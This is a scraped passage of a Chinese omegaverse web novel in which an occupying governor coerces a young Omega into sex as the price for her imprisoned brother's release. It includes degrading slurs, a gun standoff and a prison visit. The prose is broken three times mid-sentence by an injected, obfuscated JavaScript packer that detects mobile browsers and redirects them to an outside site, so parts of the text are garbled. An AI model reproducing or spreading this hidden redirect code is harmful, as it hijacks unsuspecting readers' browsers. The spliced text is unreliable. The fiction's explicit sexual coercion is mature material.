在接尤纪回别墅的小轿车前,安德烈抬头望了一眼总督署上方的蒂亚女神,对尤纪笑了笑:“降神节快乐。” 经过安德烈提醒,尤纪才想起来今天是降神节。 她右手伏在左手上,对着安德烈鞠了一躬,说出曾经讲过无数次的祝福语:“愿女神祝福你。” 蒂亚女神手中的火种不在,她沉默而无声地俯视着她的子民。 神降节这一天,会有专门扮演女神的扮演者乘坐花车绕着首都游览一圈,所有的人民都放假来隆重地庆祝女神的降临,为了感谢女神的恩赐。 路边的小摊贩会买烤牛羊肉、瓜果和甜点,那些食物物美价廉,商店里也会打折,大街上人来人往,热闹非凡。 被帝国占领后,这一切消失了。 尤纪应当对此感到愤怒。 —— 在别墅吃过午饭后,尤纪就要开始准备。 她坐在精雕细琢的银杉木梳妆台上,由露丝来为她梳妆打扮。 或许是有了安德烈的提醒,尤纪没有再反抗露丝,任由露丝给她上妆,把她装扮成一颗挂满了礼物的树——一件商品若是想要卖出个好价钱,总是需要好好包装的。 锁骨上挂了一串闪闪发光的钻石项链,有阳光从窗外照进来,折射出漂亮的火彩。 任何一个年轻少女都会喜欢这样华丽的装饰品,尤纪也不例外。她忍不住抬手摸了摸项链,想象着如果是连弛送的,她应该多开心。 露丝见她沉迷于项链,微笑着夸赞尤纪:“小姐,您看起来像个贵族。相信过几天,您的珠宝盒就会被无数的珍宝所填满。” 尤纪将手从锁骨处放下来,低垂着眼睛,没有回答。 她不需要珍宝,只要兄长平安回家。 “尤纪小姐,总督在餐厅等您。” 露丝为尤纪戴上一定金色的发冠。 尤纪回过神,提着裙摆,跟着露丝穿过长长的、挂着油画的走廊,进入餐厅。 尤纪第一次来到这栋别墅的餐厅。 餐厅里,有两个乐手在拉小提琴。 这是帝国作曲家写的乐曲,很好听的一首曲子,缓慢而美丽的旋律像是溪流一样淙淙从人的心头流过,音乐广播里经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“总督,我有一件事情需要请求您。”一片寂静中,尤纪朝他开口。 贝德福总督仿佛早有预料,他缓缓开口:“跟我来书房。” 他起身的时候,尤纪才注意到他的着装。 黑色的燕尾服使得他整个人看起来严肃而优雅,后方两片开衩的燕尾裁剪得非常工整流畅,领结端正地立在他的衣领下方。 燕尾服是男士的礼服,尤纪并不认为自己值得他如此正式的对待。 他是至高无上的总督,而她只是一个“卑贱的新人类”。 她猜测,这大概是他作为贵族的一些毫无必要的仪式感。 尤纪跟着桑雷斯·贝德福走上,来到二楼的书房。 书房内的陈设比总督署的办公室更为豪华。 一切用品都是高档而精美的,连他书桌上的那台电话都用料昂贵。 桑雷斯坐到书桌边上,开始低头翻看手中的文件。 他双手始终带着手套,写字或者批阅文件也并不影响。 一页又一页,自始自终他都没有抬头看尤纪一眼。 尤纪坐在他对面。她并不想打扰他工作,但随着墙上的挂钟秒针滴答滴答地走,她等待的耐心也逐渐消失。 她猜想,他想要她主动开口。 这是一场并不光彩的交易,她作为出卖方,当然要更加殷勤一点。 尤纪看着桑雷斯·贝德福,轻声问:“总督,请问今天之后,可以释放我哥哥了吗?” 她的声音非常平静,和之前的见面都不一样。就像是早就接受了身为一件商品的事实。 银发总督从文件中抬起了头。 “安德烈跟你讲了?” 桑雷斯·贝德福只需一秒钟就猜出了尤纪这么平静的原因。 尤纪应当立即否认,为安德烈保守秘密。毕竟安德烈不止一次帮她。 但尤纪没有,她只是沉默地低下头。 沉默即默认。 “所以,你等不及了?”桑雷斯·贝德福问她。 尤纪霍地抬起头。 11. 一场交易 尤纪从未如此细致地观察过桑雷斯·贝德福的长相。 不管是在联邦还是帝国的审美里,这个男人都拥有着非常优越的相貌。 他五官轮廓深刻,线条分明,鼻梁高挺而匀称。 海蓝色的眼睛嵌在他深邃的眼窝里,透出一股暗沉沉的视线。 这是个像雕像一样冷硬的男人,就连暖黄色的灯光也无法将他锐利的气质变得柔和。 他的语言也是锐利的——你等不及了? 你等不及拯救你正在牢狱中的兄长,还是等不及去抚-慰一个易感期的Alpha? 你连好好用完一顿晚餐的心情都没有,迫不及待就要与我开始一场交易? 是,这是一场不光彩的交易。 但他明明可以做得很体面,而不是用模棱两可的话来问她。 尤纪甚至听出了他话语中的嘲讽。 她很想像初次见面那样,向他分析疑点,陈清利弊,像一只刚刚出生,还未见过老虎的牛犊。 她也想像今天上午那样,莽撞地用自以为的秘密与他进行一场交换。 但这些都不行。 在经历了兰德尔的逃杀游戏之后,尤纪突然意识到了一件她不得不承认的现实。 ——她没有资本跟他谈条件。 他是高高在上的总督,他掌握了一切生杀予夺的大权。 是,这是一场不光彩的交易,她是这场交易的商品。 而现在,商品要主动开口,将自己卖个好价钱。 尤纪垂下头,不敢再直视桑雷斯·贝德福。 她攥住长裙的侧面,低声开口,“是的,我等不及了。” 尤纪感受到了一丝很微弱的苦艾味道。 微弱的信息素慢慢地从眼前人的身上逸散出来,和那个暴雨夜完全不同。 她注射了抑制剂,她不会对信息素产生反应。 她也知道桑雷斯·贝德福没有揭开抑制贴片。 如果他揭开了贴片,此时就无法冷静地坐在书桌边上批阅文件。 他们会像那个暴雨夜一样,在大脑混乱的情况下渡过迷-乱的一夜。 桑雷斯没有说话,甚至没有再看她一眼。 他起身,从酒柜中拿出一瓶未开过的利口酒,坐到了窗户边上单人沙发里。 那里是办公小憩的休息场所,深红色的窗帘用绑带扣起来,一张半人高的小圆桌上摆着个长颈陶瓷瓶,里面没有放鲜花。 他撕开标签,拧下瓶盖,握着修长的瓶身,朝杯中倒下淡黄色的酒液。 他的脸上没有什么表情,高耸的眉骨遮掩了水晶吊灯的光线,尤纪看不清他的眼神。 等待是一场漫长的酷刑。 尤纪闻到了空气中混杂着酒香味的苦艾味道。 她分辨出来,苦艾味道比先前浓了一些,但在空气中仍是稀薄的。 桑雷斯一只手放在胡桃木质的沙发扶手上,一只手端着水晶杯,从容淡定地饮尽了杯中的利口酒。 “过来。”尤纪听见他叫他。 她提着裙摆,慢吞吞地朝他走过去。 礼服裙太长了,行走非常不方便。高跟鞋踩在长毛地毯上,轻飘飘的没有发出声音。 这段路实在是太过漫长。 尤纪走到尤纪面前,直到离他只有一步之遥的距离才停住。 站着的她比他高,但她却感到他在俯视她。 这种俯视不是来自于高度,而是来自于权力。 “开始吧。”桑雷斯说。 开始?什么开始? 起初尤纪还有些茫然,直到桑雷斯放下酒杯。 他眼里是冷冰冰的视线,瞳孔里没有半分的欲色,反倒类似一种打量商品的审视。 “跪下。”他说。 “我哥哥……” 尤纪还想说些什么,却被桑雷斯打断。 他的声线低沉,带着些沙哑,又带着些蒂亚雨季的潮气。 “想和我做交易,总要让我看到你的价值。” 尤纪抿着唇。 她还记得露丝说,总督喜欢温顺的女人。 那时候尤纪还在想,温顺一般用来形容动物。 尤纪低着头,顺从地在他面前跪下。 桑雷斯倾身向前,伸出戴着黑色皮革手套的手,捏住少女柔嫩的脸颊。 他的手指力气很大,尤纪的脸被捏得疼痛,被迫张开了嘴巴。 这样的角度仰视他,能看到他清晰的下颔线。 “痛……” 尤纪忍不住开口求他轻一点。 大拇指用力碾过少女殷红的嘴唇。 她有一双黑白分明的眼睛,此刻这双眼睛因为疼痛,蒙上一层薄薄的水雾。 那脱口而出的呼痛更像是一种软绵绵的邀请。 她大概不知道此刻的她多有诱惑力。 但她是一个低贱的新人类,一个到了发-情-期会失去理智,只知道交-配、像动物一样无法控制自己的贱民。 一个新人类怎么可以对一个帝国的继承人有吸引力?是她在勾-引他。 光是她站在那里就已经开始了她毫无廉耻的勾-引了。 桑雷斯居高临下地看着尤纪。她的口红花了,白嫩脸颊上突兀地有着一抹艳红。 他呼吸一停,不自觉地摩挲着颈侧的抑制贴。 闭上眼睛时,眼前又浮现出她在兰德尔臂弯内的样子。 于是桑雷斯愤怒起来,不知不觉加重了手上的力道。 “真是卑贱的种族……” 尤纪的眼角盈出泪花,又低低地喊了一声痛。 桑雷斯松开了尤纪的脸颊。 他一手抓着她的头发,将她拉得更近,另一只手虎口抵着她的下巴,手指顺着她的嘴唇探入她的口腔。 一开始只是食指,后来慢慢地加入一根中指。 尤纪的口中都是皮革的味道,那两根手指一开始只是缓缓描摹她的牙齿,然后突然顶住了她的上颚。 隔着皮革手套,尤纪的舌头会碰到手套的缝线。 她的嘴巴被手指搅得一塌糊涂,口水流出来,滴在地毯上。 尤纪觉得屈辱,眼睛里都是泪水,视线里模糊一片。 她用牙齿咬住他的手指。 但桑雷斯并未收手,他将脸凑近了,鹰一样锐利的眼睛恶狠狠地盯着她。 尤纪不知道他的仇恨从何而来。 这样仇视让她浑身发抖。她又想起今天上午那对准她额头的枪口。 黑洞洞的,要将她整个人吞进去。 很快,桑雷斯的视线更加暗沉,变得和外面黑压压的天空一样密不透光。 他戴着手套的两根手指正在她的口腔里,她的唇,她的舌,她的喉咙都是一股皮革的味道。 尤纪有些喘不过气,她想摆脱嘴巴里的手指,晃动间,头顶的玫瑰金丝叶发冠滚落到地板上,滚了两圈,不动了。 桑雷斯的目光似乎是被这顶发冠吸引,放开了对尤纪的钳制。 这一番动作让尤纪的脸色发红,她瞪着眼睛,心中的愤怒简直要将眼前这个人烧成灰烬。 早有心理准备——即使安德烈早就告诉过她这场交易,但真真正正地身处其中时,这样清醒状态下的侮辱还是让尤纪觉得难堪。 “懂了吗?”桑雷斯反复用拇指揉捻尤纪的下唇,将口红糊在她的唇周,然后张开了交叠着的双腿。 “像刚才那样……” 尤纪颤着声音问:“要不要给我注射……解除抑制的药剂?” 桑雷斯像是听见了什么笑话一样,先是沉沉笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203737|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,而后又抚摸着他颈侧的抑制贴,但并没有揭开它。 “还真是个肮脏又放-荡的omega……”恶毒的话语从他口中流出来,不仅是语言,他的语调,他的眼神都带着轻蔑的嘲弄,“我说过了,你没有资本要求我。” 尤纪的心直直沉了下去。 她明白他为什么不揭开抑制贴,也不给她注射解除抑制的药剂了——他要他们双方都保持全程的清醒。 这个疯子。他跟他那个变态弟弟一样是个疯子。 尤纪咬着下唇,她的下唇简直快要被咬流血了。 “不揭开抑制贴就进行结-合,会延长易感期……总督阁下,这只会延长痛苦的时间。” “还轮不到你来提醒。” 桑雷斯将戴着手套的右手插-进尤纪的黑发间。 尤纪的眼皮很薄,很容易就染上一层薄红。 她的眼睫毛在发抖,那股倔强的劲头一点都不减,含泪看着人的时候,平白无故又添了点别的意思。 桑雷斯不喜欢这双眼睛。 她也用这样的眼睛看过兰德尔? 但他的喉结上下滚动,一股让他心烦意乱的焦渴正顺着脊背爬上来。 “不会吗?那我来教你。” 桑雷斯按着她的头,手腕用力,将她压向自己,“张嘴。” 尤纪泪水滚落,呜咽出声。 交易双方在交易之前,会先谈好双方都可以接受的价码,再开始交易本身。 尤纪没有交易的资本,商品本身不能算作是交易的卖出方。 而他连谈价的过程都没有,直接让她开始。 如果把她比作今夜的正餐,那顿丰盛而正式的晚餐,大概算是这个变态的餐前仪式。 深红色的窗帘大喇喇地拉开着,窗外是夜幕下的山林。 尤纪从落地窗中看到自己跪下来的样子。 编了一个小时的头发早就凌乱了,几缕发丝沾着汗,可怜地贴在被捏红的脸侧。 她的嘴唇、她的喉咙、她的身体、她的灵魂都因为这样毫无理由的粗鲁行为而疼痛。 尤纪的灵魂漂浮在上空,面无表情地看着她为了救哥哥而献出自己。 像是一只主动献祭的羔羊。 值得吗?大概是值得的。她已经失去了父母,不能再失去哥哥。 很划算的买卖。 “学会了吗?”桑雷斯嗓子有些哑。 “会了。”尤纪同样哑声回答。 头顶的手掌收回了,她重新低下头。 时间久了,竟然也不觉得侮辱和痛苦了。 尤纪还能感受到桑雷斯的手在抚摸自己的头发,带着点似是而非的温情。 可一眨眼,那点温情又全然消失,像是一场自我欺骗的错觉。 一切结束之后,桑雷斯放开尤纪。 他眼睛里是毫不掩饰的憎恶,但他的表情又是满足的,这让他看起来像个十足的变态。 尤纪跌坐在地上,抓起礼服的裙摆擦拭脸上的痕迹。 恍惚间,她听见他不带感情的声音从上方传来:“你今天犯了一个错,你不该跟着兰德尔走。” 尤纪温顺地回答着银发总督。:“是的,我差点就被他杀死了,还好有您。” 关于这件事情,她确实真心实意地感谢他。 她的奉承取悦了桑雷斯·贝德福。 他身体后仰,双手放在沙发扶手上,体会到掌控力重新回到手中的感觉。 “麦肯·威尔森怎么样?他也是通讯专家,可以把你哥哥换出去。” 尤纪浑身一抖。 她抬起眼,目光却越过桑雷斯的肩膀,看到后方书桌上那把手木-仓。 暖黄色的落地灯前,它的金属外壳泛着银光,仿佛一位等待多时的旧友。 12. 宽恕 尤纪对枪械并不熟悉。 搬去平民街后,父母的床头柜里常年放着一把枪。 尤纪记得是勃-朗宁。 她曾经偷偷拿出过它,被连弛发现了,他严厉地喝止了她,并且禁止尤纪再次触摸枪械。 连弛说,枪械危险,容易走火,他不能接受尤纪身边有任何的危险因素存在。 没想到他成为了最大的危险因素。 后来,父母和那把勃-朗宁在同一个夜晚消失了。 如今,尤纪遥遥看着书桌上的手木仓,心里却忍不住想,这里面装了几发子弹? 桑雷斯顺着尤纪的目光望过去,极轻地笑了一下。 “把拉链拉上。”他用眼神暗示着尤纪。 尤纪垂目看着眼前的东西。 它软趴趴的垂着,像一个恶心的软体动物。 软体动物散发着一种混杂了苦艾和麝香的味道,这味道在她的嘴里更加浓厚。 真令人作呕。 “阁下,威尔森先生是帝国需要的通讯人才。” 尤纪温顺地帮他拉上拉链,心里诅咒着这个残疾的变态早点萎掉。 桑雷斯没有理会她。 他重新回到书桌前,又翻看起文件来。 不行。 尤纪不想让威尔森也被她连累。他带她进入总督署已经是对她有恩,她又怎么可以让威尔森受这一场无妄之灾? 连弛是无辜的,威尔森也是。 她无法让另外一个无辜的人来换取连弛的性命。 脚上的鞋像是某种限制她行走的镣铐。 尤纪踢开制作精良的高跟鞋,又拿起他放在小圆桌上的利口酒和酒杯,赤足走到桑雷斯身边。 她并不熟练地为银发总督倒酒,将酒杯放在他的右手边,尽可能用柔和而乖顺的语气与他谈判。 “威尔森先生主导着变频密码机的研究,若您这样处置,不但会耽误研究进展,也会让真正的罪犯逍遥法外。” “帝国的通讯人才完全可以接手变频密码机的研究。” 桑雷斯瞥了尤纪一眼,将目光移到她的手腕上。很纤细的手腕,破了皮,是流弹擦伤的痕迹。 白皙的皮肤上还有一圈未消退的红痕,他知道这不是自己留下的。 “更何况,他在完全没有备案的情况下,私自将一个新人类带进了总督署,”桑雷斯端起酒杯啜饮一口,“光是这个罪名就已经足够把他送上绞刑架了。” 尤纪眼角的余光又看向桌面上的那把手木仓。它太近了,她能看到弹巢里面似乎装着子弹。 只要一伸手,她就能握在手里。 “阁下,我的诉求只是见我哥哥一面,完全不需要用威尔森先生这么重要的人来换他出来。我哥哥只是一个平民,没有渠道接触反抗军……” 银发总督放下手中的钢笔。 “尤纪,你弄错了一件事情。蒂亚是战败国,帝国要杀一个战败国的人,是不需要理由的。” “你打扰我工作了,滚出去。”他的语气陡然严厉。 尤纪呼吸一滞。 她想,她确实弄错了一件事情——她自大地以为眼前的总督要与她谈一场交易。 是,连弛可以从狱中出来,可麦肯·威尔森,这位善良的研究院,就应该因为这场交易去死吗? 蒂亚区的总督拥有至高无上的权力。他完全可以将连弛放出来,而不是用威尔森的命来换连弛的命。 这不是交易,这是掠夺。 就像帝国占有了蒂亚国,然后掠夺一切的资源那样。 怎么可以这样? 怎么可以这样! 尤纪感到一种强烈的屈辱。 她飞快地抓起了桌面上的那把手木仓,后退几步。 她的动作太迅速了,桑雷斯也没有反应过来——或者说他一直都知道她想要做什么,但他只是端着水晶杯,慢悠悠地喝着酒。 “阁下有没有听过一句话:权力只在十步以外。”说这句话的时候,她的声音抖得连帝国语的发音都不够标准。 “要用威尔森来换我哥哥的命。那您有没有想过,用我的命来换您自己的命?” 尤纪的心脏剧烈跳动,死死咬住牙关。 她知道这样的举动与送死无异。 但她真的控制不住自己的冲动。 种族矛盾,国家仇恨,以及这个宛如猫戏耍老鼠一样的可笑的交易,都在滋长她心中的愤怒。 ——就像是被狮子追逐到悬崖上的羚羊,想要从狮口逃生,要么奋力一搏,越过悬崖跳到对岸,要么摔下悬崖,四分五裂。 空气宛若实质一般凝固着,锐利的视线在她的身上徘徊不去。 尤纪感到有些呼吸不畅,双腿发抖,却仍是固执地双手举着枪,对准了身旁的这个人。 太近了。 只要扣下扳机,杀死眼前这个权力所有者…… 子弹会穿过他的胸口,他燕尾服上会开出一朵血色的鸢尾花。 刺杀总督,这是多少反抗军梦寐以求的机会。那些反抗军甚至连总督署都进不来。 而她尤纪,只是一个普普通通的Omega平民。 贝德福放下手中的酒杯。 酒杯触到桌面,淡黄色的利口酒酒面荡出细微的波纹。 面前是黑洞洞的枪口,娇小稚嫩的Omega少女双手握着枪,不自量力地威胁着他。 真是天真,天真到愚蠢的地步。 全身的血液加速,流经心脏,他简直兴奋得莫名其妙。 “新人类,你知道将枪口对准总督,是什么罪行么?” 连绵的细雨停止,窗外的夜色黑透了。 天空上看不到月亮或是星星。书房内寂静得连一根针掉下去都能听得清楚,只有时钟还在滴滴答答地走。 桑雷斯站起身,一步步逼近尤纪。 尤纪便只能随之后退。 她双手抖得厉害,她怀疑自己就算开枪,也无法准确地命中他。 她的后背抵到了书桌的边缘,银杉木书桌的冰冷温度透过衣料传递到她的皮肤上,再从皮肤传递到骨髓里,最后蔓延至四肢百骸。 “不仅是你,你哥哥、威尔森,乃至于你的同学,你的老师……很多无辜的人会死,比你想象中还要多得多。” “我说过了,我不接受威胁。”制作精良的皮鞋踩在波斯地毯上,桑雷斯·贝德福走到尤纪的面前。 “放下枪。”他命令道。 尤纪没有听他的话。 她像是一个溺水之人抓住救命稻草一样,紧紧地握着手中的枪,虚弱地辩解:“我一开始,也只是想见我哥哥一面而已。” 枪口抵着桑雷斯的胸膛。 这个距离太近,尤纪能看到他脸上每一寸肌肉的动静。 苦艾的味道比之前要浓。 它和莲花味的信息素相互交缠着,尤纪突然觉得后颈有些发烫。 危险。 她头皮发麻,只想立刻逃离这个地方。但桑雷斯的禁锢让她无处可逃。 于是她后仰着上半身,只希望能尽力拉开与桑雷斯之间的距离。 但桑雷斯毫不顾忌胸口的手木仓,他紧紧压制着她,将她的上半身完全压到桌面。 他低着头,开始细细地嗅着她的脖颈。 久违的失控感又来了。桑雷斯本当离开这里,独自熬过这一阵突如其来的欲-望。 但这次很不一样。面前的少女用枪指着他。 但她本身又那么弱。她细弱的脖颈暴-露在他的面前,只要轻轻一折就会断掉。 身体的失控感和心理上的兴奋交织在一起,比之前的易感期都要来得刺激。 长期的压抑对心理和生理都有害,而眼前的Omega实在是太诱人了。 他决定放纵一次。 温热的呼吸喷薄在尤纪的耳侧,那股愈来愈浓的信息素让她如陷泥沼——不知何时,他竟已揭开了抑制贴。 “小荡-妇,”桑雷斯舔舐着尤纪的耳垂,亲昵地跟她耳语,“我承认你勾-引到我了……” 这个下-流的变态! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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泪水打湿了睫毛,宣泄着她的恐惧和恨意。眼泪从脸颊处流到脖子的钻石项链上,在灯光下熠熠生辉。 桑雷斯松开她的手,任由柯尔-特左-轮砸落到地毯上,发出沉重的闷声。 桑雷斯将全身瘫软的Omega少女拥入怀里。 “这是轮盘游戏,在过去,帝国的皇室之间很流行,我跟兰德尔也常常玩。” 他用手帕擦拭她面容上的眼泪,擦去她红艳的口红,露出本来粉嫩的唇瓣。 “我闻到你的味道了……怎么不能安分一点呢,”有红血丝在冰蓝色的瞳孔里炸开,“你也想要的,对吧?” 泪水打湿燕尾服的前襟。 莲花香味的信息素越来越浓,萦绕在桑雷斯的鼻端,从鼻腔涌入他的肺部,随着血液的流动而遍及全身。 空气里都是她的味道。 “真是放-荡,不需要解除抑制剂你也可以承受的,对吧?” 银发总督逐渐地有些克制不住,声音也变得低哑而深沉起来。 “我可以宽恕你的罪行,也可以让你见你哥哥……只要你学会听话……” “威尔森呢……”尤纪喘着气,抬头看他。 刚触到他的视线时,她的心脏猛地收缩了一下。 再然后,他低头吻下来。 “我不怪他,我感谢他送来的礼物,”接吻的间隙里,她听见他唇齿间仿佛情人呢喃一样的承诺,“顺从我,满足我,让我高兴……我会答应你的所有要求。” 挂在墙上的时钟走到整点,钟摆左右摇晃,敲击了九次。 九点整,桑雷斯·贝德福拉开礼服裙后背的拉链,拆开这份准备已久的礼物。 解开绑着的蝴蝶结,剥掉包装,捧出礼物,然后享用礼物的温热和乐音。 他相信,今晚过后,这份礼物会真切地学会顺从。 13. 特殊监狱 事实证明,Alpha在求欢时的话绝对不能当真。 特别是这种残疾的Alpha,因为不能标记Omega,会比健康的人要心理扭曲得多。 一边说着侮辱的话,一边又要她摆出各种各样的姿势,把她的腺体咬得又痛又麻。 老色鬼,老变态,性-无能。 尤纪揉着快要断了的腰,骂骂咧咧地从床上坐起来。 她与桑雷斯相处的最后一个画面又浮现在眼前。 —— 书房里,文件扫落,长桌上一片狼藉。 撕裂的衣服和摔碎的红酒杯混在一起,台灯连着电线吊在书桌边上,暖黄色的光晕一晃一晃。 结束之后,尤纪伏在地上,抓着桑雷斯的衬衫下摆,执着地想要一个承诺。 桑雷斯一根手指一根手指地掰开尤纪的手,那种憎恶的表情又回到了他的脸上。 他冷漠得像一个雕像,与刚刚那个还在耳鬓厮磨的他像是两个人。 “我允许你去见他一面。” 尤纪如遭雷击:“你说好要放我哥哥出来的……” “和你做让我觉得恶心。” 桑雷斯说这句话的语调平淡极了,并不带着什么浓烈的感情色彩,就像是说“天气差得要命”一样。 “我非常不满意。” 他整理领带,抚平衬衫上的褶皱,又慢条斯理地脱下手套,扔在地上:“新人类,趁我没发火,滚出我的办公室。” 尤纪没想到一个人变脸可以那么快。 他跟兰德尔一样。如果他们不是一个母亲,那么他们变脸的速度就是遗传自帝国的主君。 尤纪看着地上被撕成几片的礼服裙,想问桑雷斯要一件遮蔽的外套。 “不。” 桑雷斯他穿上披在座椅上的外套,弯腰捡起散落一地的文件,又将台灯重新放置在桌面上。 他看了一眼墙上的时钟,又说:“十二点了,不要打扰露丝。” “被人看到怎么办?”尤纪瞪大眼睛,简直不敢相信自己的耳朵。 “你让我一个人光着回卧室?” 桑雷斯不再说话。 他从抽屉中拿出一片抑制贴,贴在了颈侧,又开始了他的文件批阅。 尤纪瞥见其中一份写着“过期军用罐头销毁申请”。 尤纪想说“没有一个Alpha会这样对待自己的Omega”,但话语出口前,她闭上了嘴。 她不算桑雷斯的Omega。 她甚至感谢他,没有给她注射解除抑制的药剂。 ——否则,她会受到易感期Alpha影响,毫无尊严地跪下来求他,求他满足一个Omega的生理需求。 但他很明显不能。 他是个无法标记的Alpha,一个因混血缺陷而导致的残废,一个心理变态的性无能。 他永远无法找到自己的归属,他漫长的一生都会因为这样的残缺而痛苦。 这样的想象让尤纪心中好受许多。 她赤-裸身体,摇摇晃晃地站起来,以一个健全的Omega的姿态俯视这个残缺又扭曲的上位者。 恶心?当然是他更令人恶心。 尤纪得到了精神上的胜利,还在门边的小长椅上找到一条宽大的毛毯。 她身披毛毯,光着脚,昂头挺胸地离开书房。 —— 天气阴沉沉的,又下起了细雨。 雨季潮湿漫长,装潢精致的卧室也染上一层灰蒙蒙的阴翳。 吃过早餐后,尤纪上了桑雷斯安排好的小轿车。 开车的是安德烈,尤纪刚拉开副驾驶的车门,就被安德烈阻止了。 “尤纪小姐,为了保证安全,您应当坐在后排。” 他用了“您”。 安德烈仍旧穿着那套黑色立领宪兵制服,铜质纽扣擦得锃亮,但他对尤纪的态度又与之前有了细微的差别。 尤纪不知道是什么导致了他的改变,但是她想打破这有些尴尬的氛围——毕竟,待会儿与连驰的见面,大概率还是在他的陪同下进行。 “安德烈阁下,麻烦您这样尊贵的副官来给我开车,真的是非常抱歉,”她试探地开口,“您今天似乎心情不好?” 安德烈从后视镜上看了一眼尤纪,露出一个标准但有些疏离的微笑:“为了确保尤纪小姐的安全和会面的顺利,总督特意安排我来接您。” 他没有回答她的问题。 车辆驶离总督署,蒂亚女神的雕像逐渐远去。小轿车中只能听到车辆引擎的轰鸣声。 在检查卡口车辆停了下来,安德烈摇下车窗露出半张脸,检查的士兵一见是安德烈,连话也未问就放了行。 在尤纪忍不住打破沉寂之前,安德烈递过来一个黑色的纺织物:“连弛先生关押在蒂亚区特殊监狱里,位置需要保密,请您戴上它。” 尤纪接过来才发现这是一个眼罩。 雨越下越大,雨滴落在轿车车顶,与金属撞击,发出噼里啪啦的声响。 视觉剥离后,尤纪只能靠着感觉和车辆行驶的方向进行着模糊的辨认。 小轿车拐了很多个弯,其中有一段路有些颠簸,车辆底盘被什么磕了一下,突然之间熄了火。 车停了下来。 尤纪听见安德烈好几次点火,但这台制作精良的汽车只是抖动几下,仍旧不能启动。 “请问……是出现什么问题了吗?” “可能车辆故障了。请不要慌张,尤纪小姐,请待在车内,我下去检查。” 黑暗中,一切细微的声音都被放大。 尤纪听见了子弹上膛的声音,一颗,两颗……他用的是柯尔特左轮,尤纪不会记错这个声音。 “你为什么要装子弹?”尤纪小心翼翼地开口。 “下车检查车辆可能出现危险,尤纪小姐,我这是保护您。”金发副官规规矩矩地回答着。 在安德烈拉开门把手,准备下车的时候,尤纪又说:“安德烈阁下,你下车检查的时候,要带上雨伞吗?” 她摸到自已带过来的长柄雨伞,凭着感觉递到驾驶座的方向,“外面雨很大,请不要着凉了。” 金发副官下车的动作一顿。 “我刚刚没有在副驾驶看到雨伞,我猜您是因为开车过来,就没有带伞……我父亲以前也常常忘记带伞。”尤纪低声解释。 安德烈接过雨伞,道了一声谢。 尤纪听到了撑伞的声音,安德烈离开了驾驶座,然后车门再次关闭。 周围太安静了,连安德烈的呼吸声也消失了,只有连绵不断的雨声和刮风的声音。 车身抖动,应该是轿车的引擎盖被打开了。一阵金属击打声从前方传来,大概是安德烈在修车。 一片黑暗里,尤纪清晰地感受到自己心脏鼓动的声响。 她缩在驾驶座后面,低着头,悄悄揭开了眼罩。 雨水从玻璃车窗外淌下来,尤纪从模糊而扭曲的水流中看到车辆两侧的场景。 这是一片类似于荒野的地方 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他甚至不再让尤纪直接称呼他的名字:“我的全名叫安德烈?冯?哈耶克,您可以称呼我为哈耶克校尉。” “那么,哈耶克校尉,请问阁下为什么对我这样冷淡?”尤纪终于找到适当的机会询问,“明明我们之前还可以很愉快地交谈。” 她的语气带着不解和困惑,又突然恍然大悟一般,“是总督又罚了你薪水吗?因为你提前透露了他的易感期?” “完全不是因为这个。”安德烈无奈地叹了一口气。 “那是为什么?因为给一个新人类当司机让您觉得屈辱吗?”尤纪委屈地追问着。她发现自己似乎快要接触到答案了。 安德烈沉默许久,才说:“总督今天早上说,您已经是他的人了。让我与你保持距离。” “什么?” 安德烈以为她没听清楚,只好重复了一遍。 “尤纪小姐,总督说……”他回想着早上的谈话,斟酌着用词,刻意省略了所有物三个字,换了个更好的词,“总督说您是他的情人,我作为副官应当同您保持距离。” 尤纪有点想笑。 情人?哪个Alpha会让自己的情人在做完之后独自光着身体走回卧室的? 尤纪根本不信安德烈的话,“这句话是否经过了你的美化?” 安德烈的手紧紧握着方向盘,打了个急转弯。 他含糊其辞地回答着:“早上事情太多,具体说了什么我也忘记了,总之,总督就是想表达这个意思。” 尤纪抚摸着后颈的腺体,心中重复了一遍安德烈转述的话——她是总督的情人。 这是否代表,桑雷斯虽然是个无法标记的混血儿,却仍旧保留了身为一个Alpha对Omega的保护欲和占有欲? 他似乎已经将她纳入羽翼保护范围内了。 太可笑了。 急转弯之后,道路恢复平坦,颠簸的体感消失不见。 车辆似乎是开进了一个隧道中,听不到雨滴砸在车顶的声音,只能听见愈来愈大的风声。 尤纪突然知道她要去的特殊监狱在哪里了。 蒂亚生命科学研究院,她父亲工作过的地方,她去过好几次。 那里在第三街区最偏僻的路段,周围只有未开发的荒芜土地和一栋废弃大楼,如今居然被帝国改造成了特殊监狱! 用脚趾头想,都会知道特殊监狱里会关押着什么样的罪犯。 14. 兄妹相见 曾经是生命科学研究院院长办公室所在的地方,如今被改造成了特殊监狱的审讯室。 除了头顶喇叭形状的昏暗吊灯、一张不锈钢长桌和两条长凳以外,没有其他的家具。 审讯室四周的墙壁上,密密麻麻地用喷漆写着帝国语和蒂亚语的双语标识。 “一切行为均被记录”、“秩序之下,方有和平”、“帝国法律,至高无上”……各种各样的标识环绕着审讯室,让并不大的房间内充满压迫感。 在见到连弛之前,尤纪想过很多要问的问题。 比如问他到底怎么发了一笔横财,比如那个爆炸案发生的晚上他是不是真的去肯迪特先生家通下水道了。 但是真正见到连弛的时候,尤纪却只想哭。 